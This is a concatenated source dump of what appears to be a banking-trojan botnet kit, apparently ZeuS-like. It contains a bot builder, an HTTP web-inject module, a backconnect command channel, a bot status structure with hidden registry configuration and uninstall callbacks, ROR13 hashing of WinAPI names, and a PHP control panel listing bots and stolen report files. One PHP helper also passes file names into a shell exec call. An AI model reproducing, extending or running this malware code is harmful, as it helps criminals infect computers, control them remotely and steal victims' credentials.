CoUninitialize)(); 26 | } 27 | 28 | void *ComLibrary::_createInterface(REFCLSID clsid, REFIID iid) 29 | { 30 | void *interfacePointer = NULL; 31 | HRESULT hr = CWA(ole32, CoCreateInstance)(clsid, NULL, CLSCTX_INPROC_SERVER | CLSCTX_NO_FAILURE_LOG | CLSCTX_NO_CODE_DOWNLOAD, iid, &interfacePointer); 32 | 33 | if(hr == S_OK && interfacePointer != NULL)return interfacePointer; 34 | 35 | #if defined WDEBUG1 36 | WDEBUG1(WDDT_ERROR, "CoCreateInstance failed, result=0x%08X.", hr); 37 | #endif 38 | 39 | return NULL; 40 | } 41 | -------------------------------------------------------------------------------- /source/builder/resources/resources.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define IDC_TOOLSLIST 1 4 | #define IDC_TITLE 2 5 | 6 | #define IDC_INFO_VERSION_TITLE 100 7 | #define IDC_INFO_VERSION 101 8 | #define IDC_INFO_BOT_TITLE 102 9 | #define IDC_INFO_BOT_KEY_TITLE 103 10 | #define IDC_INFO_BOT_KEY 104 11 | #define IDC_INFO_BOT_INFO_TITLE 105 12 | #define IDC_INFO_BOT_INFO 106 13 | #define IDC_INFO_BOT_REFRESH 107 14 | #define IDC_INFO_BOT_REMOVE 108 15 | 16 | #define IDC_BUILDER_SOURCE_TITLE 100 17 | #define IDC_BUILDER_SOURCE 101 18 | #define IDC_BUILDER_SOURCE_BROWSE 102 19 | #define IDC_BUILDER_SOURCE_EDIT 103 20 | #define IDC_BUILDER_BUILD_TITLE 104 21 | #define IDC_BUILDER_BUILD_CONFIG 105 22 | #define IDC_BUILDER_BUILD_BOT 106 23 | #define IDC_BUILDER_BUILD_OUTPUT 107 24 | 25 | #define IDC_SETTINGS_LANGUAGE_TITLE 100 26 | #define IDC_SETTINGS_LANGUAGE 101 27 | #define IDC_SETTINGS_APPLY 102 28 | 29 | #define DIALOG_MAIN 1 30 | #define DIALOG_TOOL_INFO 2 31 | #define DIALOG_TOOL_BUILDER 3 32 | #define DIALOG_TOOL_SETTINGS 4 33 | 34 | #define ICON_MAIN 1 35 | -------------------------------------------------------------------------------- /temp/server/php/fsarc.php: -------------------------------------------------------------------------------- 1 | $v)$files[$k] = str_replace('/', '\\', $v); 26 | } 27 | 28 | $archive .= '.zip'; 29 | $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"'; 30 | exec($cli, $e, $r); 31 | 32 | if($r != 0)echo "(error: $r) ".$cli.'
'; 33 | return $r ? false : $archive; 34 | } 35 | ?> -------------------------------------------------------------------------------- /output/server[php]/system/fsarc.php: -------------------------------------------------------------------------------- 1 | $v)$files[$k] = str_replace('/', '\\', $v); 26 | } 27 | 28 | $archive .= '.zip'; 29 | $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"'; 30 | exec($cli, $e, $r); 31 | 32 | if($r != 0)echo "(error: $r) ".$cli.'
'; 33 | return $r ? false : $archive; 34 | } 35 | ?> -------------------------------------------------------------------------------- /source/buildtools/ror13.cpp: -------------------------------------------------------------------------------- 1 | /*  ROR13 hash, the main purpose - poulchenie hash WinAPI-functions.*/ 2 | #include 3 | 4 | #include "defines.h" 5 | #include "core.h" 6 | #include "language.h" 7 | 8 | #include "..\common\console.h" 9 | #include "..\common\cui.h" 10 | 11 | void commandRor13(LPWSTR *switches, DWORD switchesCount) 12 | { 13 | LPWSTR inputString = Cui::_getSwitchValue(switches, switchesCount, lng_switch_inputstring); 14 | if(inputString == NULL || inputString == (LPWSTR)1) 15 | { 16 | Console::writeStringW(lng_ror13_no_inputstring, sizeof(lng_ror13_no_inputstring) / sizeof(WCHAR) - 1); 17 | return; 18 | } 19 | 20 | { 21 | DWORD hash = 0; 22 | 23 | while(*inputString) 24 | { 25 | hash = (hash << (0x20 - 13)) | (hash >> 13); 26 | hash += *inputString; 27 | inputString++; 28 | } 29 | 30 | if(Cui::_getSwitchValue(switches, switchesCount, lng_switch_nologo) != NULL) 31 | { 32 | Console::writeFormatW(L"0x%08X", hash); 33 | } 34 | else 35 | { 36 | Console::writeFormatW(L"ROR13 hash: 0x%08X\n", hash); 37 | } 38 | } 39 | coreData.exitCode = Cui::EXITCODE_SUCCESSED; 40 | } 41 | -------------------------------------------------------------------------------- /source/other/redir.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/common/httpinject.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "httpinject.h" 4 | 5 | void HttpInject::init(void) 6 | { 7 | 8 | } 9 | 10 | void HttpInject::uninit(void) 11 | { 12 | 13 | 14 | } 15 | 16 | bool HttpInject::_isCorrectHeader(const HEADER *header) 17 | { 18 | if( 19 | header->size >= sizeof(HEADER) && 20 | header->urlMask < header->size && 21 | header->fakeUrl < header->size && 22 | header->postDataBlackMask < header->size && 23 | header->postDataWhiteMask < header->size && 24 | header->blockOnUrl < header->size && 25 | header->contextMask < header->size 26 | )return true; 27 | return false; 28 | } 29 | 30 | bool HttpInject::_isCorrectBlockList(const INJECTBLOCK *block, DWORD size) 31 | { 32 | DWORD count = 0; 33 | INJECTBLOCK *curBlock = (INJECTBLOCK *)block; 34 | LPBYTE end = (LPBYTE)curBlock + size; 35 | 36 | while(((LPBYTE)curBlock) + sizeof(INJECTBLOCK) <= end && curBlock->size >= sizeof(INJECTBLOCK) && ((LPBYTE)(curBlock = (INJECTBLOCK *)(((LPBYTE)curBlock) + curBlock->size))) <= end)count++; 37 | 38 | return (count > 0 && count % 3 == 0 && (LPBYTE)curBlock == end); 39 | } 40 | -------------------------------------------------------------------------------- /source/builder/tools.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "defines.h" 4 | #include "languages.h" 5 | 6 | #include "..\common\mem.h" 7 | #include "..\common\str.h" 8 | 9 | void writeOutput(HWND hwnd, LPWSTR format, ...) 10 | { 11 | LPWSTR buf = NULL; 12 | va_list list; 13 | va_start(list, format); 14 | Str::_vsprintfExW(&buf, format, list); 15 | va_end(list); 16 | 17 | if(buf != NULL) 18 | { 19 | if(Str::_CatExW(&buf, L"\r\n", 2)) 20 | { 21 | int size = CWA(user32, GetWindowTextLengthW)(hwnd); 22 | CWA(user32, SendMessageW)(hwnd, EM_SETSEL, size, size); 23 | CWA(user32, SendMessageW)(hwnd, EM_REPLACESEL, FALSE, (LPARAM)buf); 24 | } 25 | Mem::free(buf); 26 | } 27 | } 28 | 29 | void writeOutputError(HWND hwnd, LPWSTR format, ...) 30 | { 31 | LPWSTR buf = NULL; 32 | va_list list; 33 | va_start(list, format); 34 | Str::_vsprintfExW(&buf, format, list); 35 | va_end(list); 36 | 37 | writeOutput(hwnd, Languages::get(Languages::error_output_template), buf); 38 | Mem::free(buf); 39 | } 40 | 41 | void closeThreadIfFinsinhed(HANDLE *subThread) 42 | { 43 | if(*subThread != NULL && CWA(kernel32, WaitForSingleObject)(*subThread, 0) == WAIT_OBJECT_0) 44 | { 45 | CWA(kerenl32, CloseHandle)(*subThread); 46 | *subThread = NULL; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /source/client/common.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "defines.h" 4 | 5 | #include "..\common\mem.cpp" 6 | #include "..\common\time.cpp" 7 | #include "..\common\str.cpp" 8 | #include "..\common\crypt.cpp" 9 | #include "..\common\process.cpp" 10 | #include "..\common\debug.cpp" 11 | #include "..\common\wininet.cpp" 12 | #include "..\common\ucl.cpp" 13 | #include "..\common\wsocket.cpp" 14 | #include "..\common\winsecurity.cpp" 15 | #include "..\common\sync.cpp" 16 | #include "..\common\math.cpp" 17 | #include "..\common\mscab.cpp" 18 | #include "..\common\threadsgroup.cpp" 19 | #include "..\common\registry.cpp" 20 | #include "..\common\malwaretools.cpp" 21 | #include "..\common\gui.cpp" 22 | #include "..\common\disasm.cpp" 23 | #include "..\common\wahook.cpp" 24 | #include "..\common\peimage.cpp" 25 | #include "..\common\httptools.cpp" 26 | #include "..\common\fs.cpp" 27 | #include "..\common\binstorage.cpp" 28 | #include "..\common\httpinject.cpp" 29 | #include "..\common\baseoverlay.cpp" 30 | 31 | #if(BO_SOFTWARE_FTP > 0 || BO_SOFTWARE_EMAIL > 0) 32 | # include "..\common\comlibrary.cpp" 33 | # include "..\common\xmlparser.cpp" 34 | #endif 35 | 36 | #if(BO_VNC > 0) 37 | # include "..\common\gdi.cpp" 38 | #endif 39 | 40 | #if(BO_BCSERVER_PLATFORMS > 0) 41 | # include "..\common\backconnect.cpp" 42 | #endif 43 | -------------------------------------------------------------------------------- /source/server[php]/system/fsarc.php: -------------------------------------------------------------------------------- 1 | $v)$files[$k] = str_replace('/', '\\', $v); 24 | } 25 | 26 | $archive .= '.zip'; 27 | $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"'; 28 | exec($cli, $e, $r); 29 | 30 | if($r != 0)echo "(error: $r) ".$cli.'
'; 31 | return $r ? false : $archive; 32 | } 33 | ?> -------------------------------------------------------------------------------- /output/server[php]/theme/popupmenu.js: -------------------------------------------------------------------------------- 1 | var jsmLastMenu = -1, 2 | jsmPrevMenu = -1; 3 | 4 | function jsmHideLastMenu() 5 | { 6 | if(jsmPrevMenu != -1)jsmSetDisplayStyle('popupmenu' + jsmPrevMenu, 'none'); 7 | jsmPrevMenu = jsmLastMenu; 8 | } 9 | 10 | function jsmShowMenu(id, MenuData, values1, values2) 11 | { 12 | jsmHideLastMenu(); 13 | 14 | jsmPrevMenu = -1; 15 | jsmLastMenu = id; 16 | var slideHTML = '
'; 17 | var ids = new Array(); 18 | 19 | for(i = 0; i <= MenuData.length; i++)if(MenuData[i]) 20 | { 21 | if(MenuData[i][0] == 0)slideHTML += ''; 22 | else 23 | { 24 | slideHTML += ''; 25 | ids.push(i); 26 | } 27 | } 28 | 29 | document.getElementById('popupmenu' + id).innerHTML = slideHTML + '

' + jsmFormatSting(MenuData[i][0], values1) + '
'; 30 | jsmSetDisplayStyle('popupmenu' + id, 'inline'); 31 | 32 | return false; 33 | } 34 | 35 | function jsmSetDisplayStyle(block, style) 36 | { 37 | document.getElementById(block).style.display = style; 38 | } 39 | 40 | function jsmFormatSting(str, values) 41 | { 42 | for(var j = 0; j < values.length; j++)str = str.replace(RegExp('\\$' + j +'\\$', 'g'), values[j]); 43 | return str; 44 | } 45 | -------------------------------------------------------------------------------- /source/server[php]/theme/popupmenu.js: -------------------------------------------------------------------------------- 1 | var jsmLastMenu = -1, 2 | jsmPrevMenu = -1; 3 | 4 | function jsmHideLastMenu() 5 | { 6 | if(jsmPrevMenu != -1)jsmSetDisplayStyle('popupmenu' + jsmPrevMenu, 'none'); 7 | jsmPrevMenu = jsmLastMenu; 8 | } 9 | 10 | function jsmShowMenu(id, MenuData, values1, values2) 11 | { 12 | jsmHideLastMenu(); 13 | 14 | jsmPrevMenu = -1; 15 | jsmLastMenu = id; 16 | var slideHTML = '
'; 17 | var ids = new Array(); 18 | 19 | for(i = 0; i <= MenuData.length; i++)if(MenuData[i]) 20 | { 21 | if(MenuData[i][0] == 0)slideHTML += ''; 22 | else 23 | { 24 | slideHTML += ''; 25 | ids.push(i); 26 | } 27 | } 28 | 29 | document.getElementById('popupmenu' + id).innerHTML = slideHTML + '

' + jsmFormatSting(MenuData[i][0], values1) + '
'; 30 | jsmSetDisplayStyle('popupmenu' + id, 'inline'); 31 | 32 | return false; 33 | } 34 | 35 | function jsmSetDisplayStyle(block, style) 36 | { 37 | document.getElementById(block).style.display = style; 38 | } 39 | 40 | function jsmFormatSting(str, values) 41 | { 42 | for(var j = 0; j < values.length; j++)str = str.replace(RegExp('\\$' + j +'\\$', 'g'), values[j]); 43 | return str; 44 | } 45 | -------------------------------------------------------------------------------- /temp/server/php/sys_users.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_users.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_users.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/common/time.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "math.h" 4 | #include "time.h" 5 | 6 | void Time::init(void) 7 | { 8 | 9 | } 10 | 11 | void Time::uninit(void) 12 | { 13 | 14 | } 15 | 16 | DWORD Time::_getTime(void) 17 | { 18 | SYSTEMTIME st; 19 | CWA(kernel32, GetSystemTime)(&st); 20 | return _systemTimeToTime(&st); 21 | } 22 | 23 | DWORD Time::_getLocalTime(void) 24 | { 25 | return _getTime() + _getLocalGmt(); 26 | } 27 | 28 | int Time::_getLocalGmt(void) 29 | { 30 | TIME_ZONE_INFORMATION tzi; 31 | int d = (int)CWA(kernel32, GetTimeZoneInformation)(&tzi); 32 | 33 | if(d == TIME_ZONE_ID_STANDARD)d = tzi.StandardBias; 34 | else if(d == TIME_ZONE_ID_DAYLIGHT)d = tzi.DaylightBias; 35 | else return 0; 36 | 37 | return (tzi.Bias + d) * (-60); 38 | } 39 | 40 | DWORD Time::_fileTimeToTime(const FILETIME *ft) 41 | { 42 | //WARN: look FILETIME for more information. 43 | register DWORD64 tim = (DWORD64)(*((DWORD64 *)ft) - 116444736000000000i64); 44 | #if defined _WIN64 45 | tim /= 10000000; 46 | #else 47 | tim = Math::_divU64(tim, 10000000); 48 | #endif 49 | 50 | return (DWORD)tim; 51 | } 52 | 53 | void Time::_timeToFileTime(const DWORD time, FILETIME *ft) 54 | { 55 | register DWORD64 tim = 116444736000000000i64; 56 | #if defined _WIN64 57 | tim += time * 10000000; 58 | #else 59 | tim += Math::_mul64(time, 10000000); 60 | #endif 61 | 62 | //WARN: look FILETIME for more information. 63 | *((DWORD64 *)ft) = tim; 64 | } 65 | 66 | DWORD Time::_systemTimeToTime(const SYSTEMTIME *st) 67 | { 68 | FILETIME ft; 69 | CWA(kernel32, SystemTimeToFileTime)((SYSTEMTIME *)st, &ft); 70 | return _fileTimeToTime(&ft); 71 | } 72 | -------------------------------------------------------------------------------- /temp/server/php/sys_users.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_users.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_users.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/common/console.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "console.h" 5 | 6 | static HANDLE handleOutput; 7 | static bool isWineBug; 8 | 9 | bool Console::init(void) 10 | { 11 | register DWORD mode; 12 | handleOutput = CWA(kernel32, GetStdHandle(STD_OUTPUT_HANDLE)); 13 | 14 | //Wine bug: http://www.winehq.org/pipermail/wine-bugs/2008-January/088451.html 15 | isWineBug = (CWA(kernel32, GetFileType)(handleOutput) != FILE_TYPE_CHAR || CWA(kernel32, GetConsoleMode)(handleOutput, &mode) == FALSE); 16 | return (handleOutput != INVALID_HANDLE_VALUE); 17 | } 18 | 19 | void Console::uninit(void) 20 | { 21 | 22 | } 23 | 24 | DWORD Console::writeData(void *data, DWORD size) 25 | { 26 | register DWORD result; 27 | CWA(kernel32, WriteFile)(handleOutput, data, size, &result, NULL); 28 | return result; 29 | } 30 | 31 | DWORD Console::writeStringW(LPWSTR string, DWORD size) 32 | { 33 | if(size == (DWORD)-1)size = Str::_LengthW(string); 34 | if(isWineBug)return writeData(string, size * sizeof(WCHAR)); //WINE WARNING: The output for some reason, there is absolutely nomarlno. 35 | 36 | register DWORD result; 37 | CWA(kernel32, WriteConsoleW)(handleOutput, string, size, &result, NULL); 38 | return result; 39 | } 40 | 41 | DWORD Console::writeFormatW(LPWSTR format, ...) 42 | { 43 | LPWSTR buf = NULL; 44 | int size; 45 | 46 | va_list list; 47 | va_start(list, format); 48 | size = Str::_vsprintfExW(&buf, format, list); 49 | va_end(list); 50 | 51 | if(size == -1) 52 | { 53 | //WriteStringW (L "\ n \ n - Not enough memory! - \ N \ n", -1); 54 | return 0; 55 | } 56 | 57 | writeStringW(buf, (DWORD)size); 58 | Mem::free(buf); 59 | return (DWORD)size; 60 | } 61 | -------------------------------------------------------------------------------- /source/common/botstatus.h: -------------------------------------------------------------------------------- 1 | /*  Structure for information on the established paper.*/ 2 | #pragma once 3 | 4 | #include "malwaretools.h" 5 | 6 | namespace BotStatus 7 | { 8 | //Data on aktvinom paper. Version 1, introduced with 1.4.0.0. 9 | typedef BOOL (WINAPI *callbackStopServices)(void *reserved); 10 | typedef BOOL (WINAPI *callbackUninstall)(void *reserved); 11 | 12 | # pragma pack(push, 1) 13 | typedef struct 14 | { 15 | DWORD structSize; //The size of the structure. 16 | DWORD flags; //Not ispoluzetsya. 17 | DWORD version; //Version of the bot. 18 | WCHAR botnet[BOTNET_MAX_CHARS + 1]; //The name of a botnet. 19 | DWORD storageArrayKey; //XOR key for storing records. 20 | 21 | callbackStopServices stopServices; //Function to stop the services bot. 22 | callbackUninstall uninstall; //Function to remove the bot. 23 | 24 | //Binding. 25 | DWORD reserved; //Not used. 26 | WCHAR compId[60]; //CompID. 27 | GUID guid; //Binary GUID association with the OS. 28 | Crypt::RC4KEY rc4Key; //Encryption key for the OS. 29 | 30 | //Data on the waterways. 31 | struct 32 | { 33 | WCHAR coreFile[MAX_PATH]; //Otnostileny path loader. 34 | WCHAR reportFile[MAX_PATH]; //Otnostileny way for the various data. 35 | WCHAR regKey[MAX_PATH]; //Otnostileny path in the registry. 36 | WCHAR regDynamicConfig[MAX_PATH]; //Zanchenie in the registry to store configuration. 37 | WCHAR regLocalConfig[MAX_PATH]; //Zanchenie in the registry to store the local configuration. 38 | WCHAR regLocalSettings[MAX_PATH]; //Zanchenie in the registry to store settings. 39 | }userPaths; 40 | }VER1; 41 | # pragma pack(pop) 42 | }; 43 | -------------------------------------------------------------------------------- /source/common/cui[en].h: -------------------------------------------------------------------------------- 1 | /*  English localization of the expression for console applications.*/ 2 | #pragma once 3 | 4 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 5 | // Errors 6 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 7 | 8 | #define lng_error L"ERROR: " 9 | #define lng_warning L"WARNING: " 10 | #define lng_error_unknown lng_error L"Unknown error.\n" 11 | #define lng_error_not_enough_memory lng_error L"Not enough memory.\n" 12 | #define lng_error_fopen lng_error L"Failed to open file \"%s\".\n" 13 | #define lng_error_fwrite lng_error L"Failed to write to file \"%s\".\n" 14 | #define lng_error_wsocket_failed lng_error L"Failed to initialize WinSocket.\n" 15 | #define lng_error_thread_failed lng_error L"Failed to create new thread, error %u.\n" 16 | #define lng_error_failed_port_ipv4 lng_error L"Failed to listen on IPv4 port %u.\n" 17 | #define lng_error_failed_port_ipv6 lng_error L"Failed to listen on IPv6 port %u.\n" 18 | #define lng_error_socket lng_error L"Socket error: %u.\n" 19 | #define lng_error_uknown_command lng_error L"Unknown command \"%s\".\n" 20 | #define lng_error_uknown_switch lng_error L"Unknown switch \"%s\".\n" 21 | #define lng_error_syntax_error lng_error L"Syntax error \"%s\".\n" 22 | 23 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 24 | // Miscellaneous 25 | //////////////////////////////////////////////////// //////////////////////////////////////////////// 26 | 27 | #define lng_no_switches lng_warning L"Please choose switches.\n" 28 | #define lng_switch_nologo L"nologo" 29 | #define lng_switch_nologo_help L"Suppresses display of sign-on banner." 30 | #define lng_help_title L"Usage: %s - -\n\n" 31 | #define lng_result_ready L"\nReady!\n" 32 | -------------------------------------------------------------------------------- /temp/server/php/reports_files.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/reports_files.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/reports_files.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/reports_files.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/reports_files.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/reports_files.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/botnet_bots.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/botnet_bots.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/botnet_bots.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/common/backconnect.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "backconnect.h" 4 | 5 | void Backconnect::init(void) 6 | { 7 | 8 | } 9 | 10 | void Backconnect::uninit(void) 11 | { 12 | 13 | } 14 | 15 | bool Backconnect::_readCommand(SOCKET s, COMMAND *command, LPBYTE *data) 16 | { 17 | WORD size[2]; 18 | 19 | //Obtain the basic data. 20 | if(!WSocket::tcpRecvAll(s, size, sizeof(WORD) * 2, SOCKET_TIMEOUT) || size[0] <= sizeof(WORD) * 2)return false; 21 | 22 | //We obtain the following data structure. 23 | LPBYTE buffer = (LPBYTE)Mem::alloc(size[0]); 24 | if(buffer == NULL) 25 | { 26 | WSocket::tcpRecvAllToNull(s, size[0] - sizeof(WORD) * 2 + size[1], SOCKET_TIMEOUT); 27 | return false; 28 | } 29 | 30 | if(!WSocket::tcpRecvAll(s, buffer, size[0] - sizeof(WORD) * 2, SOCKET_TIMEOUT)) 31 | { 32 | Mem::free(buffer); 33 | return false; 34 | } 35 | 36 | //Fill in the structure. 37 | command->structSize = sizeof(COMMAND); 38 | command->dataSize = size[1]; 39 | command->command = buffer[0]; 40 | 41 | Mem::free(buffer); 42 | 43 | //Obtain the data. 44 | if(size[1] == 0) 45 | { 46 | if(data)*data = NULL; 47 | } 48 | else 49 | { 50 | if(data == NULL || (buffer = (LPBYTE)Mem::alloc(size[1] /*+ 1 safe byte*/)) == NULL) 51 | { 52 | bool r = WSocket::tcpRecvAllToNull(s, size[1], SOCKET_TIMEOUT); 53 | return (data == NULL ? r : false); 54 | } 55 | 56 | if(!WSocket::tcpRecvAll(s, buffer, size[1], SOCKET_TIMEOUT)) 57 | { 58 | Mem::free(buffer); 59 | return false; 60 | } 61 | 62 | //buffer [command-> dataSize] = 0; / * safe byte * / 63 | *data = buffer; 64 | } 65 | 66 | return true; 67 | } 68 | 69 | bool Backconnect::_writeCommand(SOCKET s, BYTE command, const void *data, WORD dataSize) 70 | { 71 | COMMAND bcc; 72 | bcc.structSize = sizeof(COMMAND); 73 | bcc.dataSize = dataSize; 74 | bcc.command = command; 75 | 76 | return (WSocket::tcpSend(s, &bcc, sizeof(COMMAND)) && (dataSize == 0 || WSocket::tcpSend(s, data, dataSize))); 77 | } 78 | -------------------------------------------------------------------------------- /source/server[php]/system/botnet_bots.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/botnet_bots.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/botnet_bots.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/common/sync.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "sync.h" 4 | 5 | void Sync::init(void) 6 | { 7 | 8 | } 9 | 10 | void Sync::uninit(void) 11 | { 12 | 13 | } 14 | 15 | HANDLE Sync::_waitForMutex(SECURITY_ATTRIBUTES *mutexAttributes, LPWSTR name) 16 | { 17 | HANDLE mutexHandle = CWA(kernel32, CreateMutexW)(mutexAttributes, FALSE, name); 18 | if(mutexHandle != NULL) 19 | { 20 | DWORD r = CWA(kernel32, WaitForSingleObject)(mutexHandle, INFINITE); 21 | if(r == WAIT_OBJECT_0 || r == WAIT_ABANDONED)return mutexHandle; 22 | CWA(kernel32, CloseHandle)(mutexHandle); 23 | } 24 | return NULL; 25 | } 26 | 27 | DWORD Sync::_waitForMultipleObjectsAndDispatchMessages(DWORD count, const HANDLE* handles, bool waitAll, DWORD milliseconds) 28 | { 29 | DWORD retVal; 30 | DWORD message = WAIT_OBJECT_0 + count; 31 | MSG msg; 32 | 33 | while((retVal = CWA(user32, MsgWaitForMultipleObjects)(count, handles, waitAll, milliseconds, QS_ALLINPUT)) == message) 34 | { 35 | while(CWA(user32, PeekMessageW)(&msg, NULL, 0, 0, PM_REMOVE) != FALSE) 36 | { 37 | if(msg.message == WM_QUIT)goto END; 38 | CWA(user32, TranslateMessage)(&msg); 39 | CWA(user32, DispatchMessageW)(&msg); 40 | } 41 | } 42 | 43 | END: 44 | return retVal; 45 | } 46 | 47 | void Sync::_freeMutex(HANDLE mutex) 48 | { 49 | CWA(kernel32, ReleaseMutex)(mutex); 50 | CWA(kernel32, CloseHandle)(mutex); 51 | } 52 | 53 | HANDLE Sync::_createUniqueMutex(SECURITY_ATTRIBUTES *mutexAttributes, LPWSTR name) 54 | { 55 | HANDLE mutexHandle = CWA(kernel32, CreateMutexW)(mutexAttributes, TRUE, name); 56 | if(mutexHandle != NULL && CWA(kernel32, GetLastError)() == ERROR_ALREADY_EXISTS) 57 | { 58 | CWA(kernel32, CloseHandle)(mutexHandle); 59 | mutexHandle = NULL; 60 | } 61 | 62 | return mutexHandle; 63 | } 64 | 65 | bool Sync::_mutexExists(LPWSTR name) 66 | { 67 | HANDLE mutexHandle = CWA(kernel32, OpenMutexW)(SYNCHRONIZE, FALSE, name); 68 | if(mutexHandle != NULL) 69 | { 70 | CWA(kernel32, CloseHandle)(mutexHandle); 71 | return true; 72 | } 73 | 74 | return false; 75 | } 76 | -------------------------------------------------------------------------------- /source/common/threadsgroup.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "threadsgroup.h" 4 | 5 | void ThreadsGroup::init(void) 6 | { 7 | 8 | } 9 | 10 | void ThreadsGroup::uninit(void) 11 | { 12 | 13 | } 14 | 15 | void ThreadsGroup::_createGroup(GROUP *group) 16 | { 17 | Mem::_zero(group, sizeof(GROUP)); 18 | } 19 | 20 | void ThreadsGroup::_closeTerminatedHandles(GROUP *group) 21 | { 22 | BYTE i = 0, j = 0; 23 | for(; i < group->count; i++)if(group->handles[i] != NULL) 24 | { 25 | if(CWA(kernel32, WaitForSingleObject)(group->handles[i], 0) == WAIT_OBJECT_0) 26 | { 27 | CWA(kernel32, CloseHandle)(group->handles[i]); 28 | group->handles[i] = NULL; 29 | } 30 | else 31 | { 32 | group->handles[j] = group->handles[i]; 33 | j++; 34 | } 35 | } 36 | 37 | group->count = j; 38 | } 39 | 40 | DWORD ThreadsGroup::_numberOfActiveThreads(GROUP *group) 41 | { 42 | DWORD count = 0; 43 | for(BYTE i = 0; i < group->count; i++)if(group->handles[i] != NULL && CWA(kernel32, WaitForSingleObject)(group->handles[i], 0) == WAIT_TIMEOUT)count++; 44 | return count; 45 | } 46 | 47 | bool ThreadsGroup::_createThread(GROUP *group, SIZE_T stackSize, LPTHREAD_START_ROUTINE startAddress, LPVOID parameter, LPDWORD threadId, HANDLE *threadHandle) 48 | { 49 | //Check limit. 50 | if(group->count >= MAXIMUM_WAIT_OBJECTS) 51 | { 52 | CWA(kernel32, SetLastError)(ERROR_TOO_MANY_TCBS); //Th xs still set. 53 | return false; 54 | } 55 | 56 | //Create a thread. 57 | if(startAddress) 58 | { 59 | HANDLE handle = CWA(kernel32, CreateThread)(NULL, stackSize, startAddress, parameter, 0, threadId); 60 | if(handle == NULL)return false; 61 | 62 | group->handles[group->count++] = handle; 63 | if(threadHandle != NULL)*threadHandle = handle; 64 | } 65 | return true; 66 | } 67 | 68 | bool ThreadsGroup::_waitForAllExit(GROUP *group, DWORD timeout) 69 | { 70 | return (group->count == 0 || CWA(kernel32, WaitForMultipleObjects)(group->count, group->handles, TRUE, timeout) == WAIT_OBJECT_0); 71 | } 72 | 73 | void ThreadsGroup::_closeGroup(GROUP *group) 74 | { 75 | for(BYTE i = 0; i < group->count; i++)CWA(kernel32, CloseHandle)(group->handles[i]); 76 | } 77 | -------------------------------------------------------------------------------- /temp/server/php/stats_os.php: -------------------------------------------------------------------------------- 1 | 0) 17 | { 18 | $list = array(); 19 | while(($mt = @mysql_fetch_row($r)))@$list[osDataToString($mt[0])] += $mt[1]; 20 | arsort($list); 21 | 22 | $i = 0; 23 | foreach($list as $name => $count) 24 | { 25 | $osList .= 26 | THEME_LIST_ROW_BEGIN. 27 | str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1). 28 | str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1). 29 | THEME_LIST_ROW_END; 30 | $i++; 31 | } 32 | } 33 | //Ошибка. 34 | else 35 | { 36 | $osList .= 37 | THEME_LIST_ROW_BEGIN. 38 | str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1). 39 | THEME_LIST_ROW_END; 40 | } 41 | 42 | ThemeBegin(LNG_STATS, 0, 0, 0); 43 | echo 44 | str_replace('{WIDTH}', OSLIST_WIDTH.'px', THEME_DIALOG_BEGIN). 45 | str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO.THEME_STRING_SPACE.botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE). 46 | THEME_DIALOG_ROW_BEGIN. 47 | str_replace('{COLUMNS_COUNT}', 